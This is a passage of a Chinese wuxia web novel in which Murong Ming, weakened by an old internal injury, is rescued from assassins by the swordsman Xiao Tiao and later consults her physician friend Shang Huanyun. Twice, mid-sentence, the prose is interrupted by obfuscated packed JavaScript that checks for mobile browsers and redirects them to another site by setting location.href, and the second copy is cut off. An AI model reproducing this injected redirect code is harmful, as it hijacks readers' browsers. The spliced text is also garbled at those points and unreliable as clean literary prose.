又过了半年,慕容连衡夫妇带回了一位孤女,并将其认为养女,取名慕容晴。只不过,彼时所有人的目光早已被身负崭绝印的慕容暝所吸引,至于这位养女,不过是人们茶余饭后一点不咸不淡的谈资罢了。 7. 踏雪无常1 十三年后,此时此刻,陵州城内。 夜色沉沉,天边新月被层云遮掩大半,堪堪露出末端尾钩,微弱的月光铺在城中巷道的行路上,映照出一道正徐徐前行的身影。 慕容暝身披暮山紫色斗篷,宽大的兜帽在她额前低垂下来,将大半面容掩于阴影之中。斗篷下,她的手正按在腰间的细雪剑上,步履从容,却又步步留神。 在她身后,十余名黑衣高手蛰伏于暗处,如影随形地紧跟着街道上那道暮山紫色的身影。 他们自以为隐藏得很好,却不知慕容暝早已察觉到了他们的存在,正遛狗似的遛着这群黑衣人。 天色虽晚,巷子里仍偶有行人经过,慕容暝不便当众动手,那些黑衣人同样不敢贸然出手,双方就这样默契地维持着一种微妙的和平。 换作平时,慕容暝早就出手将这些狗皮膏药般的尾随者清理掉了,可偏偏是今日…… 兜帽下,慕容暝的脸色比天上的月亮还要惨白几分,表情虽稀松平常,可她覆在剑上的手正难以抑制地微微发颤。 此刻,她的体内正有一道不属于她的内息在肆虐冲撞,将她自身内力冲得七零八落、溃不成军,只剩不足平日里的三成。 这群黑衣人瞎猫碰上死耗子,恰巧赶上了她旧伤发作的日子。 慕容暝的耐心被消磨得所剩无几,不欲将时间浪费在这些杂鱼身上,脚下步伐不觉加快,想尽快了结这场无谓的追逐。 就在这时,巷道尽头的拐角处转出一道身影,朝着慕容暝的方向迎面走来。 夜色昏暗,慕容暝看不清那人的模样,只能从漆黑模糊的轮廓大致判断出,那是个身形颀长挺拔的男子,手中还拿着一柄长刀。 “难道……是那群黑衣人的同伙?”慕容暝心中警铃大作,右手不动声色握上剑柄,蓄势待发。 不知为何,佩刀男子走得晃晃悠悠,身影如同一面被风吹动的旌旗。待他走到慕容暝身前几步远的距离时,一缕醇厚的酒香掺着微凉的夜风,飘进了慕容暝的鼻腔之中。 “原来是个路过的醉汉。”慕容暝自嘲一笑,暗自腹诽道,“我如今怎么变得如此多疑了,竟到了这般草木皆兵的地步。” 正思忖间,佩刀男子已走到慕容暝跟前,两人擦肩而过之时,慕容暝忽然听到那男子的声音在自己身侧响起:“唔,呕……” ……他竟是要吐了! 佩刀男子似是醉得迷糊,手忙脚乱间一把扯住慕容暝的斗篷,将她当成了街边的一堵墙,弯下腰就要开吐。 慕容暝蓦然瞪大了眼:“你……!” 慕容暝就算再怎么处变不惊,也被男子这猝不及防的一吐惊到,她一向爱洁,如何忍得了一个不知打哪来的醉鬼吐在她身上?! 所幸那男子只是干呕,虚晃一枪,没吐出什么实物。慕容暝眉头紧锁,冷着脸一把将那男子拽起:“看清楚了,要吐去边上吐。” 二人拉扯间,那男子却忽然错身,凑近慕容暝耳侧,低声道:“姑娘小心,你后头跟了人。” 慕容暝闻言,手上动作一滞,面露讶异。这男子竟是佯装呕吐,实则是借机靠近她,出言提醒。并且他能在相隔如此之远的距离就能察觉到那些杀手的存在,修为必然不俗。 慕容暝下意识抬头望向男子,不过她的兜帽帽檐太宽,那男子身量又高出她不少,从慕容暝的角度没法看到他的样貌。 慕容暝迟疑开口:“你……” 这男子来路未明,意图难测,慕容暝并未轻举妄动,静静等待他的下一步动作。 后头的黑衣人们自然也看到了这一幕,眼见一个莫名其妙的醉鬼突然接近慕容暝,还不由分说地抓着她撒酒疯,惹得黑衣人们面面相觑,面罩下的露出的一双双眼睛神情各异,那叫一个精彩纷呈。 为首的黑衣人打了个手势,示意小弟们暂且按兵不动,静观其变。 佩刀男子继续装作醉酒的模样,身子歪歪斜斜地倚在慕容暝身旁,却始终保持着很有分寸的距离,未曾真正触碰到她。慕容暝只听他轻声道:“姑娘,我可以助你脱困。” 慕容暝这下听明白了,男子是将她当成被歹人尾随的无辜小姑娘,想要见义勇为呢。 这些年,慕容暝遇到无数想要杀她的人,说要助她的却不多。慕容暝一时间有些不太习惯,又颇为好奇男子想如何带她脱困。于是,她既不承认也不否认,问道:“那……你想怎么办?” 慕容暝并不经常问别人“怎么办”,语气难免带着些无所适从的冷硬,男子误以为她是受了惊吓,安慰道:“姑娘莫怕,有我在,那些人伤不了你。姑娘若是信得过我,就闭上眼睛吧。” 慕容暝心中思量,她此刻旧伤发作,内力大损,虽仍有一战之力,但想要悄无声息地解决这群杀手仍非易事,若是惊动旁人,恐怕又要横生枝节。既然这男子主动提出相助,她倒不妨顺水推舟,借坡下驴。 慕容暝拿定了主意,依言闭上了眼,道:“好。” 慕容暝刚闭上眼,男子的声音再次在她身侧响起:“姑娘,抓紧了。” 话音未落,慕容暝便感到腰间一紧,紧接着,她的双脚陡然失去了地面的支撑,腾空而起——这男子竟直接施展轻功,带着她跑了! 这下让黑衣人们猝不及防,眼见那醉鬼突然将他们的目标挟持逃走,哪还顾得上隐藏,领头的黑衣人直接扯着嗓子招呼小弟们:“快,都给我追,别让他们跑了!” 夜色中,男子动作迅捷如风,腾挪穿梭于高低错落的房屋之上,慕容暝没有睁开眼,闭目聆听着四周的动静。 闭上眼后,听觉的感官变得敏锐许多,夜风拂过耳畔的轻响,身后黑衣人逐渐远去的杂乱脚步,以及身旁男子因施展轻功而略微加重的喘息,悉数传入她的耳中。 慕容暝心中暗赞:“好高明的轻功。” 慕容暝的轻功虽也不俗,但扪心自问,她没有把握能仅凭轻功就甩开那群黑衣人,而男子这三两下的功夫便将杀手们远远甩在身后,轻功可谓卓绝。 慕容暝揣测起了男子的身份,他身佩长刀,又有如此厉害的修为,不该是寂寂无名之辈。 慕容暝闭目思索间,男子忽然发问:“姑娘,你住在哪里?” 慕容暝一时没反应过来:“……什么?” 男子似乎是害怕慕容暝将他当作什么奇怪的人,连忙解释道:“我是想着,既然已经带着你跑了,那便送佛送到西,送你回家吧,免得你再遇上那些人。” 慕容暝见他轻功如此好,不用白不用,可以省去不少赶路的功夫,便不客气地道:“送我到城东千金楼吧,多谢。” 一炷香的时间后,黑衣人已被彻底甩开,男子带着慕容暝来到千金楼边上一处隐蔽的角落,二人稳稳落地。男子长舒一口气,语气轻快,道:“好了姑娘,你可以睁眼了……” 话音未落,男子便见眼前寒光一闪,下一瞬,冰冷修长的剑刃已经抵在他的脖颈之上。 慕容暝的兜帽随着她拔剑的动作向后滑落,男子低头看去,视线恰巧落在了兜帽下露出的那张略显苍白的女子面容,不由得微微一怔。 秋水为神玉为骨,大抵说的就是这般模样了。 眼前的女子约莫二十岁的年纪,眉目清雅湛然,鼻梁挺秀,嘴唇略薄而色泽如樱,分明是一副灿若春晖的容颜。可她面上透着无法忽视的冷意,似料峭春寒,覆着终年不化的霜,清冷疏离,令见者心生怯意。 尤其是此刻,她手中长剑正稳稳地抵在他颈前,再往前一寸,就会划开他的咽喉。 所幸慕容暝今日出门带了抹额,将额间的崭绝印遮了起来,否则只需这一眼,男子便能知晓她的身份。 慕容暝抬眸的瞬间,与男子的视线蓦然相接,自然也看到了他的脸。 他的眉眼俊美昳丽,几乎雌雄莫辨,而他高挺的鼻梁和线条分明的轮廓又中和了眉眼的柔美,形成了一种恰到好处的平衡,多一分太凌厉,少一分太柔和。唇形姣好,唇角起菱,天生带着三分笑意,透着血气充沛的红润色泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051822|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一张生得这样好看又很是面善的脸,令人见之便心生好感。 男子显然没料到慕容暝会拔剑相向,全无防备,一时呆愣在原地,错愕道:“你……我……” 男子的那双眼眸,此刻在慕容暝剑光的辉映下熠熠生光,如同洒落湖面的星辉,明朗疏阔,不染纤尘,竟让她有一瞬失神。 慕容暝回过神来,道:“你什么你,我什么我。” 男子道:“姑娘,方才可是我救了你,你怎么……” 话说到一半,他回想起慕容暝方才那行云流水、干脆利落的动作,分明是会武功的,顿时有些尴尬:“好吧,虽然以你的身手,大概也不需要我救……可是姑娘你也不该把剑架在好心人的脖子上吧?” 慕容暝本就是随手试探他一下,见他神情坦荡,言语间并无虚与委蛇,心中疑虑早已打消,但嘴上仍不放过他:“听过农夫与蛇的故事吗?说不定我就是那条蛇。” 男子闻言,颇为头疼地叹了口气:“唉,师父说得果然没错,江湖险恶,人心难测啊。” 慕容暝冷哼一声:“确实,江湖险恶,人心难测,我为何不能怀疑你是假意救我,意图博取我的信任,伺机对我下手?” 这番话并非慕容暝信口胡诌,这十多年来,她遭遇过数不清的刺杀,各种阴谋诡计层出不穷,类似的戏码她并非没见过。 男子听完,并未立刻回话,垂眸沉吟,竟是认真思考起了慕容暝的问题。这时,男子忽然发觉,那抵在他喉间的剑刃正微弱难察地颤抖着,而颤抖的源头,是那只握着剑的手。 男子道:“你受伤了,是被那群黑衣人伤的?” “……与你无关。”慕容暝没料到他如此敏锐,察觉出了她的异样,不再继续为难他,收剑入鞘。 男子脖颈处的冷意骤然消失,有些意外,问道:“为何收手?我还没有回答出你先前的问题。” 慕容暝道:“想收便收了,难道你喜欢被人用剑抵着?” 从她出手的那一刻起,男子身上自始至终都没有出现半分杀意。 慕容暝顿了顿,见男子确实是一副心地纯善的模样,念在他帮了自己的份上,好言相劝道:“你师父说的没错,这江湖上多的是以怨报德之人。你若不想平白无故丢了性命,以后便不要轻易救人,更不要轻易信人。” 男子沉思片刻,却摇了摇头:“虽然会有心怀不轨之人,但我相信总归还是好人多。旁人如何待我,我无法左右,但我如何待人却是我能够做主的。下次再遇到这样的事,我还是会选择救人。” 慕容暝看着男子,他的双眸澄澈干净,还未经历江湖刀光剑影的洗礼,保留有一份难得的赤子之心。 男子又道:“对了姑娘,那些黑衣人为何要追着你,是不是遇到了什么棘手的事情?” “你师父没告诉你,明哲保身,少管别人的闲事吗?”慕容暝没打算告诉他实情,随口胡编道,“其实我是个十恶不赦的魔头,很多人都想取我性命,你今日帮了我,岂不是助纣为虐?” “不会。”男子这次倒是答得很快,他蓦然笑道,“恶人不是你这样子的。” 慕容暝无语凝噎,猜测他大概是哪个宗门初涉江湖的弟子,还没经受江湖险恶的毒打,反正事教人一教便会,慕容暝也不再与他多费口舌,只道:“罢了,随便你。” 说罢,慕容暝似是想起什么,又问道:“你叫什么名字?” 男子微微一愣,显然没适应慕容暝转变话题的速度,如实答道:“萧迢。” 萧迢……慕容暝在心中默念,觉得这个名字莫名有些耳熟,却一时想不起来在哪听过。 慕容暝道:“萧迢,这次总归是你帮了我,若你我有缘再会,我会还你今日相助之情。” 说罢,慕容暝转身走向人头攒动的街道上,斗篷随夜风飞扬翻卷,最后隐没在人流之中。 萧迢站在原地,望着她离去的方向,许久未动。 “还没告诉我你的名字呢……” 8. 踏雪无常2 慕容暝与萧迢分别后,径直来到陵州城中最负盛名的千金楼,刚踏入楼中,便有眼尖的侍者笑着迎上前来,恭敬道:“慕容少主,您可算来了,东家今晚问了我们好几遍有没有见着少主您呢,少主请随小的来吧。” 慕容暝点头示意,跟随侍者直登千金楼顶层。 千金楼是这陵州城中最繁华的酒楼,城中不论乡绅贵族还是商贾富户,皆爱在此宴请宾客,以显体面尊贵。此时正值入夜,千金楼中人声鼎沸,宾客觥筹交错大快朵颐,好一派热闹盛景。 可这千金楼顶层却清雅幽静,与外头的喧闹截然相反,仿佛是另一方与世隔绝的天地。 侍者在门口停下了脚步,转身对慕容暝道:“慕容少主,东家就在里面,您直接进去就是,小的就先退下了。” 慕容暝道:“好,有劳了。” 侍者悄然离去,慕容暝对此处早已轻车熟路,无需人引路,推开厢房门信步走进了顶层的厢房之中。 顶楼厢房的布置极为讲究,屋内熏着独特又好闻的木质香气,窗旁陈列着一排花架,上头摆放的盆栽中养着各种难得一见的奇花异草。墙壁上镶嵌着大小均等的夜明珠,柔和的辉光将整个房间照得亮堂,亦不会让人感到刺目。 目光所及,处处彰显着房间主人雄厚的财力和非同一般的品味。 慕容暝经过窗边花架时,无意中瞥见一株不知名的草几近枯死,盆中的土壤因干涸而片片皲裂,也不知多久没人浇过水了。慕容暝微微蹙眉,顺手取来桌上的水壶,对着那株枯草细致浇灌起来。 这时,一道戏谑的声音自慕容暝身后响起:“慕容少主可真是菩萨心肠,对这快要枯死的花草也有爱怜之心。” 慕容暝并未回头,仍旧专注于手中浇水的活计,道:“称不上爱怜,只是觉得一株枯草与你这金银窝不太相配罢了。” 只听身后那人轻笑一声,接着道:“可惜了,这是我前几日斥巨资从西域商人手中买回的枯蛇草,须得等其自然枯死才可入药。你这水一浇,我怕是得多等上几日了。” 慕容暝闻言,手中动作一顿,壶嘴淌出的水流霎时止住。她放下水壶转过身来,道:“对不起,唤云,我不知道这草是要入药的。” 商唤云难得看见慕容暝吃瘪的模样,正笑吟吟地斜倚在墙边。今日的她依旧是惯常的男装打扮,一袭华贵的云白锦袍衬得她气质非凡,满头乌发用青玉发冠束成发髻。商唤云的眉眼本就生得英气飒爽,作如此打扮,倒真似一位面如冠玉、湛然若神的翩翩贵公子。 “小事小事,不知者无罪。”商唤云摇了摇手中的折扇,并不在意,转而问道,“阿暝,你今日怎么比往常晚到了一个多时辰,可是路上出了什么事?” “遇到一伙缠人的背后灵,绕了些路。”慕容暝轻描淡写地一句带过,没有提及萧迢。 商唤云笑意促狭,调侃道:“他们挑今天下手,倒是歪打正着了,真是羡慕他们的好运气啊。” 慕容暝语气淡淡,从容自若:“即便我今日只剩不到三成的内力,凭他们也奈何不了我。” 慕容暝的这个旧伤,除了当年那个伤她的罪魁祸首之外,唯有商唤云一人知晓。若被旁人得知,她每逢旧伤发作就会内力大减,那些觊觎恶剑魔内力的人便会再也坐不住,后果可想而知。商唤云明白她的难处,也一直为她守口如瓶。 商唤云道:“来吧,先让本大夫看看你还剩几日好活。” 慕容暝对商唤云的嘴欠早已习以为常,也不气恼,和商唤云一同进了内室。内室间,二人相对而坐,商唤云伸出手,将指尖轻搭在慕容暝腕间,为她仔细诊起了脉。 慕容暝静静看着商唤云难得一见的认真模样,回想起了二人初遇的情形。 慕容暝与商唤云的相识,源于一场混乱的追杀。彼时商唤云还未成为商氏家主,老家主年迈时日无多,商氏作为富甲天下的大族,人丁兴旺,内斗激烈,各房为了争夺家主之位,不惜同室操戈、手足相残。 商唤云自幼就离开家中去了药王谷,师从药王,医术一道天资奇高,原本是铁了心要当大夫,再也不回那一团糟烂的家。可她的同胞弟弟商逐雨,一个没什么心眼的良善少年,却死在了家族的内斗里。 于是,商唤云一声不吭从药王谷回到商氏本家,学起了她往日里最不屑一顾、商逐雨却自幼向往的商贾之道,一身药草香浸染上了铜臭味。 商唤云展现出了惊人的经商才干,深受老家主疼爱器重,虽为女儿身,却令族中一干男子望尘莫及。而商氏家主之位向来是能者居之,不论男女,商唤云自然成为了家主之位最有力的竞争者。 直到这时,商氏的豺狼虎豹们才反应过来,该死的哪里是商逐雨,分明是他的这位好姐姐! 那日,慕容暝正与一伙难缠的刺客战得不可开交,而商唤云也被自家人雇来的杀手一路追杀至此。就这样,两伙人意外撞在了一处,两边的刺客不明状况,就这样大眼瞪小眼,拔剑四顾心茫然。 商唤云见状,心念一转,登时生出一计,朝着慕容暝这边大喊道:“求各位好汉救命!我乃商氏中人,若谁能助我脱困,我愿奉上黄金千两!” 此话一出,两边杀手都愣住了。 商唤云这边的杀手,以为对面是商唤云搬来的救兵,而慕容暝这边的杀手,听到“商氏”和“黄金千两”这两个关键词,心思也活络起来——慕容暝实在太难杀了,稍有不慎还要把自己的小命搭进去,而对面那群刺客明显比慕容暝好对付得多,就算这次杀不了慕容暝,能得黄金千两,也是稳赚不赔。 两边杀手回过神来,迅速开打。 一片混乱中,慕容暝瞧见商唤云满身是伤,夹在两伙刺客间抱头鼠窜,狼狈得很。商唤云不会武功,刀剑无眼,再这样下去只有死路一条,慕容暝趁乱一把揪住商唤云的衣领,将她从人群中拖出,沉声道:“不想死的话,就抓紧我。” “不不不,我一点都不想死!”商唤云只觉得慕容暝简直是老天爷派给她的救星,顿时化身八爪鱼,牢牢扒在了慕容暝身上,“好姐姐,大恩人,你就是我的再生父母……不,再生爷奶!” 慕容暝被她的话惊得脚下一个趔趄,不禁怀疑起自己到底救了个什么奇人,她无奈道:“……倒也不必。” 就在这样一个荒唐的情形之下,二人相识了。 慕容暝一路将商唤云带回了问剑谷避难,商唤云在问剑谷一住就是数月有余,养精蓄锐,尽心筹谋。在问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕容暝闭着眼,她听出商唤云的语气难掩忧虑,睫毛轻轻颤动了一下,声音却依旧平静:“无妨,最坏的结果不过是武功尽废而已,不会伤及性命。” “而已?你还真是说得轻巧!”商唤云忍不住翻了个冲天白眼,怒怼道,“武功尽废,对于任何一个习武之人来说都是天大的事,更何况是你?你信不信,一旦你没了这身武功,再无反抗之力,那帮人定会立刻跳出来将你生吞活剥了,连块骨头渣子都不剩给你!” 慕容暝:“……” 商唤云瞧她她默不作声,心中既无奈又心疼,她知道慕容暝从不轻易表露情绪,即使是面对生死攸关的大事,也一贯冷静自持。可她心里清楚,慕容暝的内心绝非看起来那样云淡风轻。 商唤云道:“当年伤你的那个人,可查到线索了?” 慕容暝道:“尚未。” 这个答案不出商唤云所料,她叹息一声,好言相劝道:“总之,解铃还须系铃人。我的医术只能帮你暂时缓解,想要彻底根治,还是得找到当初伤你的人。那人施展的功法能将你们二人的内力置换,属于他的那道内息一直蛰伏在你的气海之中,每隔一段时日便要作妖,搅得你内息散乱难以聚气。既然那人当初能将他的内力换到你身上,或许他也有办法收回去。” 慕容暝闻言,忽然问道:“唤云,我还剩多少时间?” 商唤云略微思索,直截了当道:“一年。一年之后,哪怕是我师父药王亲自出山,也无力回天了……阿暝,你抓紧时间吧。” “好,我明白了。” 慕容暝简短应下,没再多说什么,仿佛将要武功尽失的并非她自己,只是一个毫不相干的人。